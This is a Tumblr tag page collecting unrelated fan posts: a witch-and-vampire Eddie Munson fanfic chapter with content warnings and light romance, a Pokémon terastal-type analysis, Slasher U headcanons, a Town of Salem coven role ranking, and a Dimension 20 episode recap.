#hex bugs are cooler

[storiesbyrhi]

Witch!Reader x Bat/Vampire!Eddie Munson Series Masterlist The Grimoire The Timeline

Warnings: canon typical violence, horror genre typical violence/some infrequent gore, swearing, animal death, no beta, death in childbirth (mentioned, not described), abusive parents, suicide, spiders/bugs, grief/mourning; light smut; warnings updated each chapter.

Synopsis: No witch has stepped foot in Hawkins since 1845, but when Vecna opens the ground and poisons the town, a voice begins to call to you. Have you been brought back to this cursed place to heal the townspeople’s wounds, to save a hexed bat that always finds its way to you, or to redefine your history with a reunion 150 years in the making?

Chapter Summary: To build a home. 2888 words.

1986

When the temperature dropped and a near-constant fog hung low over Hawkins, you were glad, being more of a winter witch than summer. You stood on the peak of a hillside and looked over the vast plains surrounding the town. The mist made everything look ghostly and romantic.

The land had been returned to the descendants of the original Native American peoples who once lived there, but with no immediate plans to reoccupy the space, your new coven had been granted permission to make home on the condition you would oversee its protection.

For the moment, you were alone on the hill. Eddie was hiding from solar rays in the trailer, listening to the radio and writing in a journal he had recently started.

There was a lot to do before your sisters arrived and you wanted it all done by then. You wanted everything to be perfect. The first dwelling of a new coven would set the tone for centuries to come. It was time to build.

The advantages of being magically blessed were many, but you’d always thought enchanted seeds had to be right up there in the top ten. You’d had seven seeds soaking in seven jars over the past seven days.

You’d lined them up and filled them to halfway with moon water. In went a seed each, apple slices, and petals. In Ash’s jar went dahlia petals, while Hailey’s had peonies. Purple mums for Meg. Foxglove for Ev. Mel’s had snapdragons and lucky last, Kelsey’s was filled with delphinium.

Now, you’d fished each seed out and planted it where their cabins, cottages, and homes were to be.

“I plant these seeds,

Where homes will grow,

By moonlight

And good intentions.

In this time,

And in this place,

A coven new

Offers protection.”

You laid on the grass in the shade of an old sycamore tree. Closing your eyes, you let yourself melt into the natural world. Bones became tree roots. Blood swapped for mud. Total harmony. Infinite peace.

The air grew cooler and the shade expanded outwards. Darkness enveloped you and your body slowed as if you were in your final resting place. That’s how he found you; not asleep but not awake.

Eddie surveyed your work. The seeds had already sprouted, grew, and bloomed. Magical in their speed. He picked one of the snapdragon flowers and squeezed the base, like you’d shown him. It opened the flower’s mouth, a tiny floral puppet. Eddie smiled to himself.

You felt their heartbeats before you saw Eddie. Sitting up, you watched the deer and her fawn meander in from the forest. She’d looked at you, poised in question. What is he? Is he safe? Given a witch’s blessing, she let her baby approach Eddie.

He too had heard their heartbeats. Eddie had remained where he was, mindful not to scare them. When the fawn appeared at his feet, he slowly opened his hand to the animal and let it eat the snapdragon from his palm.

“You would know if it was poison, right?” he asked in a quiet voice. The fawn looked up at him, long eyelashes and soft whiskers.

Eddie turned to find you standing close behind him. You were getting very good at sneaking up on him.

“Hi,” he greeted.

“Making friends?”

Eddie nodded.

“Feeding my flowers to them?”

There was an overwhelming feeling that the moment was beautifully preordained – and really, knowing fate, it probably was.

Eddie turned back to the flowers. “I thought you said they would grow into homes?”

“They will. They just need some time alone with the moon… Shall we?” You held your hand out to Eddie.

…

While you appreciated Walmart’s late night hours, their range of Halloween costumes was less than ideal. You stared at the row of wigs for a while before drifting away in search of decorations. October was a good time to find homewares you’d use all year round.

You were shaking a snow globe filled with little black bats when Eddie appeared in front of you, holding up a vampire costume. “It comes with plastic teeth,” he pointed out. “And a cape,”

You snorted. “Is that your pick? Because generic vampire would be very meta of you.”

He smiled but shook his head. “I don’t think this would put the humans at ease,”

“Probably not. So… something more friendly?”

“Yes. More… normal,” he said in a way that made ‘normal’ sound taboo. Eddie’s gaze wandered from you over to the back corner of the store. He handed you the vampire costume then walked away without further explanation.

You frowned, watching him go. Looking down at the costume in your hands, an idea sprung to mind. The red cape. You returned to the wigs.

A little later, Eddie was waiting for you when you came out of the fitting room with a white dress. You glanced at the jeans and long-sleeved blue polo top he was holding.

“I need a cat,” he told you seriously. “The children in the toy aisle are…”

“You’re afraid of them?”

“No. I’m afraid I’ll eat them. Come. Restrain me if you must,” he announced dramatically, loudly. The Walmart employee at the fitting room door gave you a concerned look as Eddie grabbed your hand and dragged you away.

Both your endeavours were successful; Eddie found the necessary prop in the plush toy bin, and you raided the craft section. With a few other odds and ends in the basket, you were ready to head home, arriving at Forest Hills just before midnight.

Eddie carried the shopping inside, leaving you to unpack and get started on your project while he brewed tea for you. He had been practicing with flavour combinations and brewing times, constantly requesting feedback since he himself could not drink the tea without immediately throwing it back up. The best he could do was let it linger on his tongue and capture the taste in the few seconds before his dead mouth killed it.

“You should sleep soon,” he insisted, albeit softly.

You took the mug of tea he held out and smiled at him. “I will. I just want to organise this stuff,”

“Why are you making it? Could you not cast some sort of illusion spell? Or magically will all the pieces into the shapes you want?”

“I could. But where’s the Halloween spirit in that?”

Eddie nodded and began to go through his costume pieces. “Could you possibly spare a spell for a pair of my boots? They need to be brown, I believe,”

“Didn’t want to just buy some brown boots?”

His frown was bordering on pout. “I’d never wear them again.”

You laughed.  Eddie had been developing his own sense of style. If style was beat-up combat boots and a ratty denim jacket he probably stole from someone in the city. Consistently though, he wore a lot of black.

“I’ll work on it,” you agreed with a nod.

An hour later, when you kept pausing mid-sentence to yawn, Eddie whisked you off to bed, tucking you in and wishing you sweet dreams.

“You going to sleep too?” you asked, meaning ‘do you need the bat spell?’

“No, my love. I’m hungry,”

“Walmart kids wet your appetite?”

He chuckled, always amused when you made dark jokes. He kissed your forehead and watched you fall asleep, then left Hawkins in search of violence.

…

The next day, Eddie waited for the last of the light to leave the porch before he stirred. He’d spent hours curled up in one of the many nests you’d built for him around the trailer. The nest on the porch was as soft as his fur and perfectly positioned so he could sleep in the sun all day.

When night fell, cool and calm, he flew inside and found you in the bath. You said the words with your eyes closed, letting a human-shaped Eddie settle on the tiles.

“You’ve been gone for hours,”

“I was just outside. These may be the last fine days we see this year,”

“My baby sunshine bat,” you cooed with a smile, waking yourself up to look at him.

You had woken that morning to Eddie curled around you, satiated and happy. He asked to be battified, then disappeared outside. You’d spent the day working on your costume.

Eddie rested his chin on the edge of the bath, shamelessly raking his eyes over your body. “I miss you when I’m not near you,” he said suddenly.

“I thought you were just outside,”

“I was. Even then. Even sleeping. It’s too far.”

You held a hand up for him to take. Tangled fingers. A warm pulse against cold skin.

“Maybe we should stitch our bodies together,” you whispered.

Eddie’s lips curled into a devilish grin. “I could just bite down and never let you go,”

“I could cut you up into itty bitty pieces and consume you entirely,”

“You’re starting something you cannot finish,” Eddie warned, his eyes growing dark. He untangled one of your fingers and held it between his teeth.

“I’d let you eat me whole.”

Eddie dropped your hand abruptly, pulled you from the lukewarm bathwater, and had you wrapped around him like a koala before you even registered movement.

“I will reach my hand into my throat and tear down until I find what is left of my unbeating heart. I will serve it to you and you will feast and we will become one.” His voice was earnest and emphatic.

Teeth clenched, you smashed your forehead to his and pulled hard on his hair. Maybe you said what you needed him to do out loud, maybe he read your mind. Either way, you were facedown on a mattress within a second, Eddie’s teeth and tongue scraping and licking up the backs of your legs.

“I…” he started.

“Want…”

Words separated by kisses.

“To…”

By bites.

“Eat…”

Like a recited spell.

“All…”

Well timed magic.

“The…”

He was at your hips.

“Love…”

Pushing beneath you.

“Out of you.”

…

Little witch…

Little witch…

His voice was in your head.

In your dreams.

Then, real.

“Little witch, my love? You wanted to check on your flower houses before the night is through,” Eddie said. He was right. That had been the plan. But the sun had set, he’d taken you to bed, and you’d lost hours with him. When did you fall asleep?

Slowly, you crawled from bed and checked the time. Midnight had only just left you. Heavy, sluggish movements. Weighed down by an unscheduled nap. You flopped back onto the bed.

“Do you need help?” Eddie asked as he came to stand in front of you.

Pouting, you nodded.

You watched him collect fresh clothes, ruminating over what he wanted to see you in. Eddie pulled you by the ankles to the edge of the bed, hooking underwear on and sliding them up. Still foggy with sleep, you felt like you were still rolling through a dreamscape. Eddie worked slowly. Sensually. With tenderness. It almost brought you to tears.

With your shoes laced up, there was no reason left to delay. You twinkled your fingers at Eddie, asking to be lifted off the bed. He acquiesced, leading you out of the bedroom and through the trailer.

On the car ride to the new coven, with your Moody Midnight mix tape playing loud, you watched Eddie out of the corner of your eye. He wound down the window and glided his hand through the fall wind.

As the flowerbeds came into view, Eddie’s mouth dropped open and an expression of pure delight lit up his face. He was out of the car before you cut the engine.

The seedlings had gone. In their places, beautiful buildings set apart from each other with enough space to grow gardens and vegetable patches, yet close enough to wave through windows.

Kelsey’s cottage was the first on the street, a warm welcome with shutters the shade of delphinium blue. It seemed small, unassuming, but you knew as soon as she moved in, she would charm it so it grew bigger and bigger on the inside, never changing on the outside. Eventually, as the coven embraced new members, Kelsey would take on housemates, her little cabin becoming the heart of the sisterhood.

Across from the cottage were Ash and Hailey’s cute tiny homes, their dahlia and peonies growing strong out front already. Down the way sat Ev’s Victorian style house. It was grand and gothic, and undoubtedly filled with secret nooks and spaces that Ev would hide all sorts of weird things in. Both Meg and Mel had dwellings on the far side of the field. Meg’s thatched roof a bright purple, and Mel’s garden already sprouting with plants she could feed her turtle.

“This is… It feels…” Eddie didn’t know what to say. Truthfully, he couldn’t believe this type of magic was allowed. It seemed too immense, too obvious.

“I know,” you told him. “We don’t always build like this. But I want them to feel at home, you know? I want this all to feel… right.”

Eddie nodded, finally stopping his awestruck pacing, and focussing on you. “They will love it,” he assured you. “I love it… It’s…” Still, not a single adjective would form. He looked over the buildings again. “Wait… There is not… You have not grown a home for yourself?”

“For us,” you corrected.

“For us… Please don’t tell me you intend on dragging that trailer across town?” Eddie joked. Half joked. There was clear apprehension in his tone. A little fear in his eyes.

You laughed. “No. I don’t intend on doing that… It’s just, you know, we haven’t talked about what kind of home we want.”

He couldn’t maintain eye contact, turned back to the houses, watching them as if they were going to continue to grow. They wouldn’t, of course. Not with an audience.

You let Eddie ponder while you walked the perimeter of the field. The land the coven would care for extended far beyond the little neighbourhood you’d grown from petals, but the air was already crackling with magic. Out in the forest over the hill, a family of red foxes were jumping and playing. Bats swooped through the sky and fireflies carved patterns through the dark.

Eddie sat on the doorstep of Ev’s Victorian. He listened to your heartbeat. How, when other living things came close to you, their breathing synced to yours. Leaves twisted in your direction like you were the sun. The center of everything. Definitely his.

You were almost out of his eyeline, crouched down scratching the belly of a fox cub, when you went still. For a moment Eddie thought you’d sensed or seen danger, but quickly you were up and turned to him. “You do want a home, right?”

In an instant, he was in front of you, the breadth of the field nothing to him. “Why would you ask that?”

“Because. Like I said. We’ve never talked about it.”

Eddie’s brows pulled together and his expression so sharp it could have been mistaken as anger, rather than the abject confusion it was. “Everything I have ever said has been about you. Loving you. Getting this far,”

“Yes. Yeah. But logistically… Vampires are nomadic. And all the time taken from you. You don’t want to see how the world has changed?”

The foxes had gone, unnerved by the thing that wasn’t human or witch. The breeze had settled, the trees providing a windbreak. Eddie saw through your line of questioning, tracing it back to the niggle of anxious thought settling in your brain. His face softened, then the beginning of his trademark smirk.

Eddie threw himself onto his knees at your feet, twisting his hands in the layers of your long, black skirt. “I am bound to you. Where you are, is where I am.”

You couldn’t help but grin. His dramatics wouldn’t distract you though. Dropping to your knees you looked at him seriously. He laughed.

“Eddie. You have been trapped in Hawkins for a hundred years. I’m not going to be the next witch to keep you here,”

“You want to know what I desire, in the deep, dark, catacombs of my soul?”

It was rhetorical, but you nodded.

“What do you picture me having done between 1586 and… well, you? 250 years of stillness? No, my love. I have seen the world. I know what is out there. It may have changed, but it will change again and again. I don’t want the world. I want you. I want to know you when you’re happy. I want to see you build this coven. Grow plants. Heal human ailment and cast witch magic…” Eddie tipped his head to the side a little, cocky as ever. “Logistically we should consider blackout blinds and room for books, not international travel.”

You wore that glazed-over look, drunk on the articulation of Eddie’s love. “You want a library?” you asked, voice coming out in a dumb whisper. Eddie nodded. “Me too. Maybe two… One for fiction and one for non-fiction,”

“Maybe three. Fiction. Non-fiction. Then, one for grimoires and other craft books.”

The foxes watched on from burrow doors. They still didn’t know what he was, but as long as he was with you, they’d leave him be.

End Note: Thank you to @jo-harrington for, well, the cannibalism.

There is a short playlist linked in this, little witch's Moody Midnight mix tape. I hope you like it.

There are a lot of people on the tag list that I have no idea if they read this story anymore. Feedback and love are deeply appreciated. xo Rhi

P.S. I hope you love your witchy homes @vintagehellfire @courtingchaos @pastel-pillows @ghost-proofbaby @kookygranger @toomanyacorns

Fic Taglist:  @paranoidmunson  @idkidknemore @paprikaquinn @stardustworlds @loz-brooke @wyverntatty @vintagehellfire @dark-academia-slut @scarletwitchwhore @becks1002 @mrsdollardog @heyndrix @luceneraium @rosaline-black @devilinthepalemoonlite @goldencherriess @iamwhisperingstars @wiltedwonderland @blueywrites @breezybeesposts @jadehowlettthewolf @spikesvamp79 @foreveranexpatsposts @tortoiseshellspells @wingedpeachjudgegiant @stardustmunson @live-love-be-unique @fangirling-4-ever @reanimated-alice @b-irock @gh0stlybunnie @myown-worstenemy-2003 @woozzz @cyberxlust @hiscrimsonangel @buckysbarne @m00nlight101 @word-wytch @spicysix @briasnow-blog @goth-cowgirl-03

All Eddie Taglist: @solomons-finest-rum @ruinedbythehobbit @sweetpeapod @thorfemmes  @corrodedhawkins @grungegrrrl @lilzabob  @averagemisfit03 @ches-86 @ilovecupcakesandtea @onehotgreasymechanic @hazydespair @mel-the-fangirl @eddies-hid3out @siren-lungs @aheadfullofsteverogers @hiscrimsonangel @dashingdeb16 @cultish-corner

[elelcomplains]

Having Hassel's Gible teralyze first into a grass type during art classes was a uh

A choice

Usually, in scar/vio, pokémons are teralyzed into a type that removes or makes them take neutral damage from otherwise super effective hits, or to remove some of the type weaknesses (usually quad weaknesses are prioritized).

I'm going all over them just for the sake of it (I fixated on this game and my brain won't let go):

•Katy's Teddiursa becomes a bug type (bug resists fighting)

•Brassius's Sudowoodoo becomes a grass type (removes weakness to water and ground, while still knowing Rock Throw to counter fire, flying and ice)

•Iono's Mismagius becomes an electric type (she has Levitate, enough said)

•Kofu's Crabominable becomes a water type, taking neutral damage from flying, psychic, fighting and fairy, and resisting steel)

•Larry's Staraptor becomes a normal type (removing all his weaknesses beside fighting, which counters thanks to Aereal Ace)

•Tulip's Florges becomes a psychic type (super effective against poison, resists steel, all while having Moonblast against dark types)

•Ryme's Toxtricity becomes a ghost type (removes his quad weakness to ground, knows Hex to counter ghost types)

•Grusha's Altaria becomes an ice type (removes her quad weakness to ice, knows Hurricane to counter fighting types)

And we're not over yet!

•Rika's Clodsire becomes a ground type (neutral damage to psychic, has Water Absorb, knows Toxic and Protect. Over all good counter moveset)

•Poppy's Tinkaton becomes a steel type (counters fighting with Play Rough, fire with Stone Edge)

•dear old Larry's Flamigo becomes a flying type (Liquidation and Close Combat counter rock)

•Geeta's Glimmora becomes a rock type (removes quad weaknesses to ground, only making it double weakness, neutral damage from psychic, Earth Power counters steel, Play Rough counters fighting, Sludge Wave counters grass)

And now we're getting to the REAL, saucy stuff, thank you for making it this far, I swear I'll talk about Hassel now

Dear old professor Hassel has a Baxcalibur he teralyze into a dragon type (neutral damage to fighting, rock and steel, resists fire, he knows Close Combat for ice types and Glaive Rush for dragon types). And it makes perfect sense, he's a dragon type trainer after all.

However, that little, round, absolute unit he uses to show teralyzation makes no sense.

As we know, Gible's line, aside for being feared since good old Sinnoh, being speedy as hell, and having the bad habit of sweeping a ton of various teams, has a very strong weakness to ice.

I've demonstrated so far that usually, quad weaknesses are prioritized in teralyzing, and I'm sure good old Hassel is aware of this, being an Elite four.

And yet, that little guy as a grass teratype, effectively still being weak to ice. Not only that, it is now weak to flying, fire, poison, bug, ice, and it loses its ground immunity.

From a utility point of view, it's clear that it's not the most advantageous teratype to have on a team member. Then again, the little guy is probably just for show, a class mascot, the little pokemon Hassel and Brassius are raising like their own child, the choice is yours.

Anyway, the class the little fella is shown in is a teralyzation demonstration. You'd think an art nerd like Hassel would pick literally any type, after all they're all beautiful crystals, no? Hell, the dragon teratype gives the pokemon a little crystal dragon, what's cooler than that for a dragon type Elite four that ALSO teaches art?

And yet, he's a grass teratype

(At least the first time, the second lesson is just a showcase from a battle point of view. Dendra must've put some common sense into Hassel's gay ass)

Like a certain artist we know Hassel is married to, I MEAN is friend with. Sorry, I had a lapsus there

And can we please talk about how Hassel doesn't spare himself from defining the flowers beautiful? I bet they make you think of your husband, don't they?

[slasheru]

If Mc gets bullied, what are the dateables going to do?

SAWYER: This one's the easiest to write, LMAO. I think we ALL know what Sawyer would do (Victoria Justice voice: I think we aaAAAAAaaall know what Sawyer would do??). First, he'd check on you to make sure everything was okay, and that YOU were okay, and then he'd start a comprehensive list of everyone who's ticked you off and, well, get some extra credit for his Masked Murder classes. Very slashy. Very enthusiastic. Might carve your name into one of them. With your permission, of course!!

JUNO: Bullies your bullies back. Like, BAD. Like, HARD. Juno miiiight be taking a great deal of pride and snideness in bullying your bullies back, actually, giving them a taste of their own medicine AND (in their mind anyway!) being defensive of you. Plus, Juno would be the MOST TORMENTING actual bully. They'd be like floating through walls during your bullies' classes doing shit until they stopped bugging you!

LAILA: Immediately starts A) looking after you as sweetly as possible, and B) mentally makes ELABORATE LISTS AND PLANS for revenge and stoppage. Laila would never narc on anyone to authority, but she WOULD put a deep-seeded, elaborate, dangerously intense plan to socially or emotionally engineer your bullies' lives to FALL APART. You probably wouldn't even know it - until one of them fails out of Slasher U because their roommate was bribed $100 by a mysterious Final Girl Hottie to keep them up all night during finals week by blasting Red Hot Chili Peppers 24/7 from tiny desktop speakers.

TATE: Genuine disbelief that anyone would bully the Player because, in his eyes, the Player is SO MUCH COOLER than him - but if Tate feels strongly enough (and I'm sure he does), this would be one of those situations where the Eldritch Horror miiiight take over. Especially if Tate himself witnesses the bullying! Let's just say Tate's waking up with blood on his hands in weird places a LOT MORE. I'm not sure he'd be able to help it.

HEX: Also utter disbelief that ANYONE would bully the Player! They're so NICE and COOL and HOT! What?? :((((( Hex would do this absolutely honest and weird thing where, upset-ly, he'd approach your bullies and be like HEY WHY ARE YOU BEING MEAN TO PLAYER. And since Hex is so big and beefy and intimidating, he'd PROBABLY get them to leave you alone simply because he loves you SO MUCH and he's a huge mountain of a human being who could crush you with a hug if he wanted!

[jesterjamz]

thoughts on the coven roles? 👁👁

anon if youre asking about only the coven roles (cl, medusa, etc etc) then oh boy you should have phrased that better cuz im about to go over every coven role from the expansion :D

this is gonna be a long post so i’ll just set a lil “keep reading” here if you dont mind ok lets continue

hypno and ambusher: might as well start with these to get them out of the way. started as coven expansion only but then got moved to classic so not sure if they count as coven or not but i’ll add them anyway since they were before. for hypno, i’d rate it a 6/10. can be very useful sometimes. i like hypno and personally find it fun. wonder if they fixed that one bug with it yet. ambusher i’d rate a 5/10. ambusher is fun but rlly dont like how the game SNITCHES on you to the other visitors smh >:(( snitches get stitches

pirate: 11/10. absolutely perfect. need i say more?

plaguebearer/pestilence: plaguebearer is super fun when you play it right. so, for this, i will rate it a 6.5/10. you have to be smart and big brain to figure out who to infect at the right moment, but once u become pest you can just fucking go wild. once i was pestilence and i killed everybody else who was alive within 1 night. (pirate wouldnt have died if they didnt pirate me. poor pirate)

juggernaut: I’VE NEVER BEEN JUGGERNAUT SOOO UHHHHHHH im going to have to ask a friend about this. give me one moment.

psychic: very fun. easier to fake claim than i thought but i dont fake claim psychic so. i’ll rate this a good ole 7/10. kinda boring tbh but i still enjoy it. just sitting there waiting for ur result instead of actually thinking. its great for me, a person who doesnt think about shit.

tracker: man tracker sure is huh. i like how it acts like a reverse lookout. good for finding evils sometimes. i feel like a tracker and a lookout could work together to find evils cuz sometimes multiple ppl can visit 1 person and a tracker wouldnt be able to kno that. 6/10

crusader: crusaders sure love killing each other in vip mode huh. 6/10 like the concept but i’ve seen too much crus-on-crus murder

trapper: i make too many bob the builder jokes with this role. 8/10

guardian angel: i love guardian angel. i love having a guardian angel. i love being a guardian angel. 9/10 kinda sucks when u die or lose tho

coven leader: finally im at the coven. anyways CL is witch but cooler. i like CL personally but yknow, im idiot, and for CL you need to be big brain so. 7/10 it aight

medusa: HEY HAVE YOU HEARD ABOUT MY SOLO MEDUSA WIN- ok but srsly though medusa can be so fucking fun if you play your cards right. especially if you’re SOLO MEDUSA which i WON as by the way have you not heard. 10/10

poisoner: i have never actually won as poisoner before, but i have BEEN poisoner, so there’s that. i like poisoner, it’s cool lol. 7.6/10 i wish i could win as it

hex master: ough hex master i love the hex master skin. very cute. i mean all the coven skins are cute but hex master oguhghghghghgh 10/10. i know this isnt about the skins but hex master is just coven arso and arso is cool as fuck so

necromancer: retri before retri even though retri was added before this. i like necromancer and it can be really useful to coven if you play it right. 9/10. also necromancer skin kinda cute ngl

potion master: potion master good but heal potion is literally useless unless u wanna heal a coven and you dont know when theyre gonna get attacked!!!! i like how PM is just a funky lil combination of doctor, consigliere, and some other killing role that can kill. its very epic. 9/10.

and that’s it! i am so sorry for the lack of juggernaut rating but i have never played jugg before and my friend hasnt responded yet so, uh, i’ll update u on that anon

[jq37]

i know you posted your thoughts on the big arguing scene in “we need to talk about pete” but i was wondering if you were going to post a full breakdown? that episode was a lot and i love hearing your thoughts on eps. ignore this if you have done a breakdown and i’m dumb and just missed it lol

**spoilers for the war of bugs and rats and we need to talk about pete**

What’s up denizens of Magic NYC? Now, I unfortunately live in normal NYC where I have to pay bills and stuff so I’ve been MIA with recaps for the past few eps but, no sweat. We’re gonna do a double feature of the above two eps and then I’ll group in the last battle episode with the upcoming episode. So lets catch up on what’s been going on in The Unsleeping City There’s a LOT to get through so vámanos y'all.

First up, we have our big bug fight in Queens, which Sophie enters with a camelback full of box wine because Emily is Emily.

“I’ve heard of gentrification but this is crazy!”

Brennan enjoys making those gross, chittering, bug noises way too much.

Have we talked about Pete’s cowboy hat? Because, for real, what is up with Pete’s cowboy hat? It seems absolutely apropos of nothing. Was he just like, “Sick,” and he decided to wear it everywhere? That seems to be how he makes all of his decisions.

“Butthole 2: Electric Boogaloo.”

Emily clocks the cat *immediately*. Like to the point where I’m almost thinking, “Did this cat exist before Emily mentioned looking for one?” And I want to say yes because La Gran Gata seems very fleshed out, specific, and intentional. But folks, we are living in a post-Avanash world so idk what to think. (Edit: The cat does have a mini now that I’ve gotten to that but idk, that insert shot could have been shot post ep so like, who knows?)

Anyway, Emily’s entire mission objective immediately becomes saving this cat she’s vaguely aware of.  

“5E you crazy.”

The Cast, Knowing Emily just rolled a 25 and still has a 1d8 Bless in Her Back Pocket if She Needs It: Brennan, Just Ask.

The horror on Emily’s face when she realizes that she just called an attack on the cat cocoon.

So Emily goes off on a very Emily side quest to rescue a random cat but happens to unlock a very cool NPC–La Gran Gata–who is like the spirit of all the bodega cats out there. Sophie immediately calls upon the entirety of her limited Spanish skills to try and make friends with the cat, and succeeds.

The, “To arms, to arms my brothers!” thing kills me every time. Are all rats just Like That? Is that what they’re like when they’re out and about too?

Kingston rolling a nat 20 to literally walk across the store is wild.

Oh also, Pete failed a wild magic surge roll which just lets him fly. So far, those wild magic surges have really been working out for him.

Anyway, Bug Boss Becky turns Ricky into a “buff-ass” dog.

Zac playing dog-Ricky with almost exactly the same self-awareness (or lack thereof) as normal-Ricky is so funny. He’s an Akita and I was expecting Dalmatian but that makes sense too. Ricky, the very good boy, attacks Becky and–as a Sentinel–stops her in her tracks.

Emily does a ton of damage and Brennan, about to describe her attack, is like, “Are you still drunk?” Emily shuts down the opportunity to look cooler and is like, “I am a messy, drunk bitch. Describe that.” Emily isn’t here to be cool. Emily is here to roleplay.

I had never heard the word brindled before now and Brennan uses it to describe two separate animals in this ep.

Siobhan rolls a nat 20 to dispel magic on Ricky which is objectively good but also I would have loved for him to be a dog a little longer. Also, this moment makes me really, really want to get some backstory on Misty. Like, clearly there are some serious Fae Shenanigans going on with her and I need specifics yesterday.

Also, Ricky comes back with pointier ears and wolfier senses and I’m just picturing Channing Tatum in Jupiter Ascending.

Before I forget, Sophie, Pete, and Misty yoink magical items from the magic bodega within the bodega La Gran Gata opened up. Sophie’s is a magic ring that amps up her punches. Misty took a mirror and Pete took a grill (like for your teeth). Not sure what those do yet.

The fact that this whole fight wasn’t under the Umbral Arcana and there are people out there that remember is a little concerning for me. I can’t quite tell if it’s the sort of thing that will come back or more of a warning of what can happen if the U.A. goes down again.

Post-fight, Sophie asks La Gran Gata for mismatched David Bowie eyes like the cat has. Siobahn goes, “That’s what you’re gonna ask? You drunk bitch.” But Sophie has her wish granted. I’m sure that won’t raise any questions with people who have known her her entire life. 

“She’s gonna fuck that cat.”

So the fight’s over and they realize that the Key to the City is missing which I can’t imagine is a good thing.

This brings us to the RP ep, We Need to Talk About Pete, which picks up directly where the previous ep ended.

Ally and Emily go for the exact same joke of getting Guinness’s post-fight. Kingston–as a medical professional, Vox Populi, and sanest adult of this troupe–loudly objects (smacking the beers out of Pete’s hands multiple times) and wants to know what the hell is going on with the bugs they just fought.

Sidenote: Sophie took a level in Warlock with La Gran Gata as her patron because of *course* she did. I wonder if this was the plan from the beginning or if Emily was watching all her friends spellcasting and started getting the jitters from magic user withdrawal.

Murph’s “What?” face when Emily says, “I’ll be waiting, but not in an impatient, desperate way,” is gold.

They search the bodega and find a thing of 1000 Hour Energy and Kugrash gives it to Ricky over Pete’s objections. They also find Holy Grail Laundry Detergent (Kingston pays for it), The Grill I mentioned earlier (Kingston hates this), and this bagel. 

All the magic users show up. Alejandro wants an explanation pronto and everyone points a finger at Pete who explains everything in his typical, nonchalant, vague, kinda spaced out way which Alejandro is not digging at all. He starts to go off on the enormity of the situation and Pete starts dropping acid.

I’m gonna stop here for a sec to talk about how Ally is playing Pete. There are moments when I feel like Ally is doing something as a comedian for a bit. And there’s kind of a sense of, is this funny? Obviously. But what are the in game implications of this move? Like the running joke of Pete constantly being high on something is funny, out of game. But,  in game, it’s massively concerning. And I’m really curious about where Ally is choosing to draw the line between doing the funny thing and doing the prudent thing. I almost said the in-character thing but Ally made a character so consistently bonkers that whatever he does could plausibly be the in-character thing. Pete is kind of a massive disaster.

Anyway, Alejandro drives home the point that Pete’s actions have consequences and have caused actual deaths at this point. Pete’s magic is internally going wonky as he gets more distressed (I really wanted to see a wild magic surge fail here but alas). But he’s still outwardly like a 4 on the giving a damn scale when the situation is a 13 out of 10. Pete is only half listening to this because he’s halfway out the door, smoking. Alejandro plans with Kingston to discuss Pete later.

Misty, always sowing seeds of chaos, suggests Alejandro stock up on Juul pods before they stop selling them completely. Kingston hates this (this is basically his mood for the episode).  

Outside, Pete gets a text from Priya which ends with them planning a meet up for later after leaving her on read for a while. Pete dips without saying anything to anyone but Kingston who ignores him (and also Sophie who Emily hilariously guilts Ally into including out of character). Dipping on the conversation about how to fix YOUR mess isn’t the wisest move but Pete isn’t the wisest guy.  

In the meantime, Ricky does the Twilight Bark to summon a dalmatian (yes!) to help him find the stolen key to the city. Kugrash turns into a busted ass dalmatian who has trouble keeping up.

Ricky doesn’t have the plate mail armor that usually makes a Paladin so unstealthy but he is so hot as to have the same lack of stealthiness which is one of my favorite adaptations of the game for this setting. Anyway, Ricky does the superhero thing of running through the city, helping everyone with a problem along the way, and loses the key in the Financial District which smells like death (feels about right).

Siobahn playing Misty as, “Oh, I can’t believe I didn’t realize it was Emma Lazarus,” when, in reality, she was the first person who made the connection was great. S/o to ppl who separate player and character knowledge. Misty partied w/ Emma of course because she partied with every historical figure that’s passed through NYC since she showed up.

Post adventure, people need to go to their day jobs. Misty has a +10 to performance but rolling a 3 is rolling a 3. It’s not her best work. Later, her assistant brings her holly, silver, and assorted other stuff which sounds like Fae BS if I’ve ever heard it. Misty cuts her off before she can elaborate more. I know we’re getting a secret spilling episode next time so I’m really hoping we get some Misty lore because she is being frustratingly cagey. She talks so much but says so little that means anything.

Kugrash sneaks into his son David’s house (while Emily learns a rat fact she clearly didn’t want to know) and Murph  and Brennan tag team go for the proverbial emotional jugular.

Murph rolls a nat 20 on his investigate and so he gets a lot of his old files and puts together that Robert is Robert Moses–a famous historical figure in NY who I actually heard about for the first time very recently. Or maybe I should say infamous. He did a lot with NY infrastructure–especially highways–(Emily connects this to the Highway Hex immediately) and he wasn’t exactly the warm and fuzzy type. His bread and butter was working the system. There’s a Pulitzer winning book called The Power Broker about how he was able to amass power and influence. I don’t know enough about NY history to run my mouth off about the guy but the little I do know is in character with his T.U.S. incarnation. Also, just FYI, irl this dude died in the 80s. So, you know. That’s interesting.

Brennan, I guess: Why invent new bad guys when history is full of terrible people I just have to give magic to?

Brennan, continuing his tradition of letting people get emotionally destroyed by nat 20s, has Murph find a crushing letter from David to Kug which was never mailed.

Note: So, as I was writing this, my video timed out right at the line, “I don’t expect this letter to find you before my funeral,” which is kinda good bc idk if this is what I need at 1 AM. Anyway, back to the pain.

The letter reveals that David has devoted his life to stopping crooks like him (Kug) and that he’s mostly upset about how his leaving has affected the younger, more fragile Wally.

“I leave the letter because I’ll remember it.” Yeah I bet you will.

It looks like Kug is gonna confront Wally next ep which I am now even more excited to see.

So let’s move onto the SECOND big gut-punch of the episode. Kingston goes down to the station to give a statement about the Santa Incident. He sees a shit elemental in a lineup which isn’t super relevant to the main events but I can’t not mention something like that.

Anyway, guess what? Kingston’s ex (Liz) isn’t dead! She’s an attorney for the justice system of The Unsleeping City and she’s pissed the hell off. During their interview, he stops the tape recorder to cuss out Kingston for going on a “date” with Misty and for getting her involved in all the magical junk which means she has to do things like fingerprint shit elementals instead of being on track to be D.A. like she originally was. The way she described it made it sound like she was press ganged into it which seems like it shouldn’t be how this works, you know? Is there no blue pill option here? Also, not to be all grass is greener but I actually am a lawyer in NY (closer to Kug’s job, minus the crime) and I would swap with Liz in a heartbeat.

The fact that anything Kingston says as Vox is per se admissible is a cool detail. 

Sophie fights an old man (Jackson) in a CVS and joins a monastery which sounds like a shitpost but it isn’t. With La Gran Gata’s blessing she is now a member of the Order of the Concrete Fist.

I saw the Staten Island joke coming the second Brennan started talking but it was still hysterical when it landed.

At the same time, Pete is getting knuckle tats because, sure. And he also goes to see Priya who I am baffled was with him for any length of time. Maybe it’s the artist thing?

